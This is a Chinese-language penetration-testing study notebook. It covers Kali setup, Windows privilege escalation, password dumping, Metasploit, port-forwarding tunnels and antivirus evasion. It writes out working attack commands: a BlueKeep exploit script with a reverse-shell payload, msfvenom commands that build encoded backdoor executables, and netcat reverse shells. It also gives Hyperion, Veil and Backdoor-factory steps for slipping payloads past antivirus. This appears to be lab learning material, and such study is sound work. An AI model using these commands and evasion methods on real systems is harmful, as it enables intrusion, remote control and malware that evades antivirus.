目 录

[前期准备 3](#_Toc12875)

[2019年6月kali最新国内更新源sources.list 3](#_Toc15221)

[apt-get install 工具 4](#_Toc22467)

[kali安装所有工具包 4](#_Toc15652)

[firefox浏览器插件 4](#_Toc30995)

[java jdk官方安装 4](#_Toc28735)

[ubuntu server18.04 安装 4](#_Toc31806)

[Lamp安装（linux+apache+mysql+php） 4](#_Toc27754)

[Apache2 安装 4](#_Toc25949)

[mysql server and mysql client 安装 4](#_Toc19537)

[前期知识点 4](#_Toc22393)

[netstat -pantu 4](#_Toc5540)

[过程文档记录 5](#_Toc7465)

[笔记管理软件 5](#_Toc23993)

[文件加密工具 5](#_Toc32540)

[子域收集:kali2.0安装dnsdict6 5](#_Toc30831)

[漏洞利用代码搜索： 5](#_Toc8182)

[美国按照SCAP（XCCDF、OVAL、CVE、CCE、CPE、CVSS）框架 5](#_Toc11021)

[中文输入法安装： 5](#_Toc4147)

[漏洞扫描器 5](#_Toc27440)

[openvas安装（漏扫） 5](#_Toc8674)

[Nessu-kali安装 5](#_Toc12800)

[提权 5](#_Toc888)

[本地提权 5](#_Toc28234)

[第一种： 6](#_Toc8722)

[第二种： 6](#_Toc13362)

[第三种： 6](#_Toc5845)

[进程注入方式提权 6](#_Toc32660)

[第四种 6](#_Toc16468)

[嗅探抓包工具 6](#_Toc17997)

[密码破解 7](#_Toc28709)

[（通过数据库文件获取信息） 7](#_Toc16906)

[（通过内存获取信息） 7](#_Toc5635)

[MSF框架 7](#_Toc21837)

[重新初始化目录命令： 7](#_Toc23867)

[msf升级命令： 7](#_Toc19906)

[msf脚本执行 7](#_Toc5676)

[方法一：msf命令行 7](#_Toc5663)

[方法二：kali命令行 8](#_Toc21797)

[106 思路、身份认证方法、密码破解方法、字典 8](#_Toc15394)

[crunch命令生成字典： 8](#_Toc14574)

[107 字典、在线密码破解 8](#_Toc4974)

[hydra 8](#_Toc7857)

[第15节 流量操控技术 8](#_Toc17489)

[114 流量操控技术\_重定向 9](#_Toc30247)

[（1）重定向 9](#_Toc19898)

[（2）隧道 9](#_Toc16433)

[（3）封装 9](#_Toc31723)

[115 ssh隧道和ssh本地端口转发(与重定向相比多了ssh隧道) 9](#_Toc21325)

[本地端口转发 9](#_Toc8618)

[远程端口转发 9](#_Toc7292)

[动态端口转发 9](#_Toc4089)

[探测mac地址 9](#_Toc2201)

[arp -an 9](#_Toc26787)

[kali端配置准备 9](#_Toc24885)

[启动ssh服务 9](#_Toc2592)

[ssh本地端口转发 10](#_Toc363)

[bodhi端配置--改ip 10](#_Toc1945)

[kali端配置-开启apache服务 10](#_Toc10832)

[压缩无shell建立隧道 10](#_Toc30232)

[ssh远程端口转发 10](#_Toc15338)

[bodhi端 10](#_Toc24613)

[侦听端口在kali端 10](#_Toc32465)

[动态端口转发 11](#_Toc31584)

[X协议转发 11](#_Toc19434)

[117 dns协议隧道-dns2tcp 11](#_Toc22488)

[ISP DNS准备 11](#_Toc2775)

[2.安装dns服务： 11](#_Toc16176)

[3.打开dns管理工具 11](#_Toc1300)

[4.添加转发器（其他域转发到真实的dns） 11](#_Toc27088)

[dns2tcpc客户端 11](#_Toc15066)

[dns2tcpd服务端 11](#_Toc8880)

[118 dns协议隧道-dns2tcp 12](#_Toc4160)

[配置内网dns 12](#_Toc30344)

[121 ptunnle(icmp隧道) 12](#_Toc7217)

[122 proxytunnle（http隧道） 12](#_Toc12647)

[123 sslh（监听443端口，识别协议转发访问http、https、ssh资源） 12](#_Toc28710)

[https服务搭建 12](#_Toc17908)

[1、web服务 12](#_Toc9943)

[2、证书服务 12](#_Toc21494)

[1）在web服务管理中生成证书申请文件（txt） 12](#_Toc14646)

[2）在浏览器中访问证书申请的web页面 12](#_Toc28622)

[3）粘贴证书申请文件（txt） 12](#_Toc21614)

[4）打开证书服务管理颁发证书 12](#_Toc6918)

[5）在web服务管理中导入证书 12](#_Toc196)

[https服务搭建完成 12](#_Toc7723)

[124 补充proxytunnel、stunnel4（ssl隧道） 12](#_Toc10372)

[stunnel4服务端 12](#_Toc13951)

[stunnel4客户端 13](#_Toc18280)

[第17节 免杀 13](#_Toc24145)

[135 恶意软件、防病毒软件、免杀软件、当前现状 13](#_Toc3606)

[免杀技术 13](#_Toc27898)

[1、修改二进制文件中的特征字符串 13](#_Toc25253)

[2、加密技术 13](#_Toc29644)

[3、防病毒软件检测 13](#_Toc11858)

[136 当前现状、软件保护、自己编写后门 13](#_Toc10106)

[msfvenom 工具 13](#_Toc10696)

[1、生成后门 13](#_Toc25023)

[2、加密并生成后门 13](#_Toc9377)

[hyperion工具 13](#_Toc25942)

[0、github下载加密工具源码（hyperion） 13](#_Toc27155)

[1、准备加密工具exe（hyperion） 13](#_Toc7801)

[2、利用h.exe（hyperion工具）加密a.exe 生成b.exe 13](#_Toc13285)

[137 Veil-evasion（免杀工具：效果好） 14](#_Toc11386)

[免杀方向: 14](#_Toc26139)

[1、自己写payload 14](#_Toc9544)

[2、利用cryptor加密类工具加密 14](#_Toc24831)

[138 veil-catapult 14](#_Toc18896)

[Payload的投递 14](#_Toc25711)

[例子：（大致过程：先传powershell文件，然后再传shellcode，最后执行powershell文件调用shellcode） 14](#_Toc23186)

[139 Veil-catapult总结、另一种免杀思路、shellter 15](#_Toc5781)

[免杀思路: 15](#_Toc30200)

[shellter工具（免杀测试工具） 15](#_Toc4474)

[140 Backdoor-factory 15](#_Toc30241)

[打patch(绑定payload方式)： 15](#_Toc13842)

[代码洞（代码缝隙）： 15](#_Toc12863)

[msf使用的patch方法 16](#_Toc14507)

[141 Bdfproxy 16](#_Toc26559)

# 前期准备

## 2019年6月kali最新国内更新源sources.list

https://blog.csdn.net/key\_nothing/article/details/90055845

vi /etc/apt/sources.list

#中科大

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

apt-get update # 取回更新的软件包列表信息

apt-get upgrade # 进行一次升级

apt-get clean # 删除已经下载的安装包

## apt-get install 工具

apt-get install kali-linux-all smplayer ibus ibus-pinyin flashplugin-nonfree gdebi amule qbittorrent geany meld stardict ttf-wqy-microhei kchmviewer resolvconf python-dev python-greenlet python-gevent python-vte python-openssl python-crypto pythonappindicator python-pip libnss3-tools freemind netspeed libncurses5-dev mtr filezilla filezillacommon chromium monodevelop mono-gmcs -y

## kali安装所有工具包

apt-get install kali-linux-all

## firefox浏览器插件

flashgot 、autoproxy 、Tamper Data 、cookie importer、Cookies Manager、User Agent Switcher、HackBar、Live http header、Firebug、Download YouTube Videos as MP4、Flagfox、hashr

## java jdk官方安装

https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html

## ubuntu server18.04 安装

设置更新源sources.list

apt-get update

apt-get upgrade

apt-get dist-upgrade

## Lamp安装（linux+apache+mysql+php）

https://www.linuxidc.com/Linux/2018-08/153739.htm

### Apache2 安装

sudo apt-get install apache2 apache2-utils

sudo netstat -anol | grep :80

ps aux | grep apache

sudo service apache2 restart

### mysql server and mysql client 安装

sudo apt-get install mysql-server

sudo apt-get install mysql-client

dpkg -l | grep mysql

sudo mysql -u root -p

quit

## 前期知识点

### netstat -pantu

会显示所有端口和所有对应的程序，用grep管道可以过滤出想要的字段

### 过程文档记录

Dradis

短期临时小团队资源共享

各种插件导入文件

### 笔记管理软件

keepnote（同上）

### 文件加密工具

Truecrypt

### 子域收集:kali2.0安装dnsdict6

https://blog.csdn.net/lql971203/article/details/84449457

https://blog.csdn.net/EDDJH\_31/article/details/78366575

### 漏洞利用代码搜索：

基于exploit-db漏洞库的搜索：https://www.exploit-db.com

root@kali:~# searchsploit tomcat

sandi

### 美国按照SCAP（XCCDF、OVAL、CVE、CCE、CPE、CVSS）框架

https://nvd.nist.gov/

### 中文输入法安装：

apt-get install ibus

apt-get insatll ibus ibus-pinyin

# 漏洞扫描器

## openvas安装（漏扫）

openvas-setup

## Nessu-kali安装

dpkg -i Nessus-8.5.1-debian6\_amd64.deb

/etc/init.d/nessusd start

# 提权

## 本地提权

以下三种都是调用系统功能来实现

### 第一种：

at 19:39 /interactive cmd

再打开的cmd中输入命令：taskmgr（任务管理器）

再打开的任务管理器中结束zx用户的explorer.exe进程

继续在任务管理其中打开explorer.exe进程

### 第二种：

sc Create syscmd binPath= "cmd /K start" type= own type= interact

sc start syscmd

再打开的cmd中输入命令：taskmgr

再打开的任务管理器中结束zx用户的explorer.exe进程

继续在任务管理其中打开explorer.exe进程

### 第三种：

将sysinternal中的Psexec.exe拷贝到C盘

将linux-kali的目usr/share/windows-binaries/目录下的whoami.exe拷贝到windowxp的C盘windows\system32\下

打开cmd查看whoami是zx用户

在cmd输入命令Psexec.exe -i -s cmd -i为交互 -s为system权限

在打开的新窗口whoami查看是system账户

## 进程注入方式提权

### 第四种

将pinjector.exe拷贝到目标windows系统

可通过pinjector.exe -h 查看使用方法

查看可注入的进程pid 命令：pinjector.exe -l

开始注入pinjector.exe -p 684 cmd 5555

Ps:684：为被注入进程pid 5555:为进程打开监听端口5555

通过nc连接目标root@kali:~# nc -nv 192.168.127.136 5555

whoami查看当前账号

# 嗅探抓包工具

Windows

wireshark

Omnipeek

Sniffpass捕获密码明文数据包

Linux

Tcpdump

wireshark

Dsniff捕获密码数据包

# 密码破解

## （通过数据库文件获取信息）

通过PwDump.exe工具cmd中输入PwDump.exe localhost命令获取密文

复制密文保存名为xp.pwdump.txt文件

拷贝到kali里用ophcrack密码攻击工具打开并破解密文得到明文

## （通过内存获取信息）

密码显示工具参考

http://www.nirsoft.net

第46集

客户端和服务器在linux中使用rz/sz命令通过串口传递文件。

vegacx参考

https://packages.debian.org/jessie/armhf/libwebkitgtk-1.0-0/download

https://github.com/subgraph/Vega/issues/156

# MSF框架

## 重新初始化目录命令：

msf

msfdb

msfdb start

msfdb stop

查看端口

net -pantu | grep 5432

msfdb reinit

## msf升级命令：

msfupdate

show options

show payloads

show targets

show all

db\_nmap

hosts

services

## msf脚本执行

### 方法一：msf命令行

创建r.rc文件，命令：vi r.rc

内容：

use exploit/windows/rdp/cve\_2019\_0708\_bluekeep\_rce

set rhosts 192.168.127.128

set target 3

set payload windows/x64/shell/reverse\_tcp

set lhost 192.168.127.132

run -j

结束

执行

msf5 > resource r.rc

### 方法二：kali命令行

msfconsole -r r.rc

不使用exploit直接生成payload,

payload生成格式为exe的1.exe文件

generate -b '\x00' -f exe -e x86/shikata\_ga\_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -o /root/1.exe

-b:去坏字符

-f: 指定格式

-e:指定 encoders(编码方式)

-i:循环5次

-k：作为一个新线程注入

-x: 指定要用作模板的自定义可执行文件

-o: 输出

靶机运行1.exe，打开了4444监听端口

kali上用命令：nc 192.168.98.128 4444

获得shell

# 106 思路、身份认证方法、密码破解方法、字典

## crunch命令生成字典：

crunch 6 6 0123456789 -o START

# 107 字典、在线密码破解

## hydra

# 第15节 流量操控技术

# 114 流量操控技术\_重定向

## （1）重定向

（打进来之后，知道怎么出去）

在kali上利用rinetd工具监听53、80、443等常用端口，端口转发80/3389/333，利用nc连接获得shell

kali 中nc.exe位置：

path:/usr/share/windows-binaries/nc.exe

## （2）隧道

点到点

网关ip-网关ip(内网是明文)

端到端

port--port（全流程加密）

## （3）封装

一种协议封装成另一种协议

# 115 ssh隧道和ssh本地端口转发(与重定向相比多了ssh隧道)

## 本地端口转发

## 远程端口转发

## 动态端口转发

## 探测mac地址

### arp -an

## kali端配置准备

建立ssh隧道

vi /etc/ssh/sshd\_config

port 53

PermitRootLogin yes

PasswordAuthentication yes

## 启动ssh服务

service ssh restart

netstat -pantu | grep :53

## ssh本地端口转发

### bodhi端配置--改ip

建立ssh本地端口转发

ssh -L 7001:172.31.50.223:80 root@172.31.50.221 -p 53

ssh -N -L 7001:172.31.50.223:80 root@172.31.50.221 -p 53

ssh -fN -L 7001:172.31.50.223:80 root@172.31.50.221 -p 53

bodhi打开web访问：http://127.0.0.1:7001;被转发到172.31.50.223:80

### kali端配置-开启apache服务

service apache2 start

### 压缩无shell建立隧道

ssh -CfN -L 7002:172.31.50.221:80 root@172.31.50.221 -p 53

ssh -CfN -L 7003:172.31.50.223:3389 root@172.31.50.221 -p 53

sudo apt-get install rdesktop

rdesktop 127.0.0.1:7003

共享7004端口

ssh -CfNg -L 7004:172.31.50.223:3389 root@172.31.50.221 -p 53

在另一台机器远程桌面：1.1.1.11:7004

-f 后台运行

-N 不执行登录shell

-g 复用访问时作为网关，支持多主机访问本地监听端口

只是隧道，在其他机器运行应用程序：比如shell

外网开启监听端口：

nc -nvlp 3333

nc 1.1.1.10 7005 -e cmd 将自己的cmd发送给7005

## ssh远程端口转发

### bodhi端

ssh -CfNg -R 7001:1.1.1.10:80 root@172.31.50.221 -p 53

ssh -CfNg -R 7002:1.1.1.10:3389 root@172.31.50.221 -p 53

ssh -CfNg -R 7003 1.1.1.10:3333 root@172.31.50.221 -p 53

### 侦听端口在kali端

1、打开web访问：http://127.0.0.1:80/（服务端开启web）

2、rdesktop 127.0.0.1:7002(服务端开启远程桌面)

3、nc 127.0.0.1 7003 -c bash（服务端：nc -nvlp 3333）

## 动态端口转发

ssh -CfNg -D 7009 root@172.31.50.221 -p 53

windows上设置代理：1.1.1.11:7009；访问web：www.baidu.com实现上网

## X协议转发

先ssh连接，利用-X参数 实现图形化程序运行在172.31.50.221上，

ssh -X root@172.31.50.221 -p 53

firebox

gedit

# 117 dns协议隧道-dns2tcp

## ISP DNS准备

1.network:

桥接，静态ip:172.31.50.233

gateway:172.31.50.2

DNS:127.0.0.1

## 2.安装dns服务：

卸载--打开或安装服务--网络服务--域名系统（dns）

## 3.打开dns管理工具

正向查找区域--新建区域--主要区域--名称：lab.com--下一步--下一步--。。完成

添加A记录：新建主机名(lab.com右边空白)--名称：kali--ip：172.31.50.221--完成

lab.com--新建委派--委派的域：test--选择刚刚添加的kali A记录

## 4.添加转发器（其他域转发到真实的dns）

ZX-4E5920ACD9D3右键--属性--转发器--所选域的转发器的ip地址列表--添加

## dns2tcpc客户端

dns2tcpc -c -k pass123 -d -l 2222 -r http -z test.lab.com

## dns2tcpd服务端

修改配置文件：dns2tcpd.conf

修改：

listen = 0.0.0.0

resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25 ,socks:127.0.0.1:1080,http:172.31.50.2:80,https:127.0.0.1:8087

添加：

domain = test.lab.com

key = pass123

结束

开启服务：dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

# 118 dns协议隧道-dns2tcp

## 配置内网dns

添加转发器：转发dns流量到172.31.50.233

# 121 ptunnle(icmp隧道)

# 122 proxytunnle（http隧道）

# 123 sslh（监听443端口，识别协议转发访问http、https、ssh资源）

windwos server 2003

# https服务搭建

## 1、web服务

## 2、证书服务

### 1）在web服务管理中生成证书申请文件（txt）

### 2）在浏览器中访问证书申请的web页面

### 3）粘贴证书申请文件（txt）

### 4）打开证书服务管理颁发证书

### 5）在web服务管理中导入证书

### https服务搭建完成

# 124 补充proxytunnel、stunnel4（ssl隧道）

## stunnel4服务端

## stunnel4客户端

# 第17节 免杀

# 135 恶意软件、防病毒软件、免杀软件、当前现状

# 免杀技术

### 1、修改二进制文件中的特征字符串

-替换、擦除、修改

(利用二进制修改工具进行修改)

### 2、加密技术

-通过加密技术使得特征字符串不可读，从而逃避AV检测

-运行时分片分段的解密执行，注入进程或AV不检查的无害文件中

### 3、防病毒软件检测

-恶意程序本身的特征字符

-加密器crypter的特征字符

# 136 当前现状、软件保护、自己编写后门

## msfvenom 工具

### 1、生成后门

### 2、加密并生成后门

msfvenom -p windows/shell/reverse\_tcp lhost=192.168.1.173 lport=4444 --platform win -e x86/shikata\_ga\_nai -a x86 -f exe -o a.exe

## hyperion工具

### 0、github下载加密工具源码（hyperion）

### 1、准备加密工具exe（hyperion）

安装用来编译源文件的工具（windows)

sudo apt-get install mingw-w64

编译生成exe

i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/\*.cpp -o h.exe

准备成功

### 2、利用h.exe（hyperion工具）加密a.exe 生成b.exe

command line:h.exe a.exe b.exe

# 137 Veil-evasion（免杀工具：效果好）

由python语言编写

集成了msf的payload,

集成各种payload，

集成各种注入技术，

集成各种第三方工具（加密技术）：Hypersion,PEScrambler、backdoor factory

# 免杀方向:

## 1、自己写payload

## 2、利用cryptor加密类工具加密

结果效果：可以利用不同语言生成免杀的exe（payload）

# 138 veil-catapult

## Payload的投递

-集成veil-evasion生成免杀payload或自定义payload

-使用Impacket(python库)上传二进制payload文件

-使用passing-the-hash执行payload

## 例子：（大致过程：先传powershell文件，然后再传shellcode，最后执行powershell文件调用shellcode）

启动：veil-catapult

选择：1）Standalone payloads

进入菜单

1)powershell injector

2)Barebones python injector

3)Sethc backdoor

4)Execute custom command

5)back

选择1）powershell injector

设置目标ip

输入目标用户名:zhangxin

输入目标密码：123

选择代码执行方式 wmis or winexe(exe方式)

选择：winexe

进入菜单

选择shellcode

1)msfvenom

2)自定义shellcode

3)file with shellcode(raw)

选择1)msfvenom

设置payload

Lhost

Lport

生成shellcode

press enter to launch:回车攻击注入

# 139 Veil-catapult总结、另一种免杀思路、shellter

## 免杀思路:

1、自己写payload：原始payload的特征码没有被识别

2、加密：通过cryptor加密类工具（msfvenom等）加密

3、无文件投递：内存方式执行（Veil-catapult）

4、手动修改特征字符串：找到触发AV查杀的精准字符串，并将其修改

-将执行程序分片很多片段

-将包含MZ头的第一片段与后续片段依次组合后交给AV查杀

-重复以上步骤，最终精确定位出

-利用工具：

Evade：分片工具

hexeditor:十六进制修改器

## shellter工具（免杀测试工具）

-代码混淆

-定制编码方式

-多态编码

-集成msf payload

-目前只支持32位PE程序

-使用正常exe文件作为模板，将payload代码加入模板内，但是模板程序的功能可能失效

# 140 Backdoor-factory

## 打patch(绑定payload方式)：

1、利用程序段之间的缝隙插入payload

2、也可以和msfvenon工具一样在程序末尾插入调用

## 代码洞（代码缝隙）：

-二进制文件中超过两个字节的连续x00区域

-根据统计判断代码洞是编译器在进行编译时造成的，不同的编译器造成的代码洞的大小不同

## msf使用的patch方法

1、覆盖程序入口

2、创建新的线程执行shellcode（程序末尾）并条回源程序入口

# 141 Bdfproxy

-基于流量劫持动态注入shellcode(arpspoof、dns spoof、Fake AP)

备注：利用客户通过http下载exe劫持流量注入shellcode

渗透思路：

通过各种信息收集发现系统所有的攻击面对每个端口每个服务进行渗透测试，安全检查，一旦发现问题，会想清楚各种方法入侵系统里面，进而证明系统存在安全隐患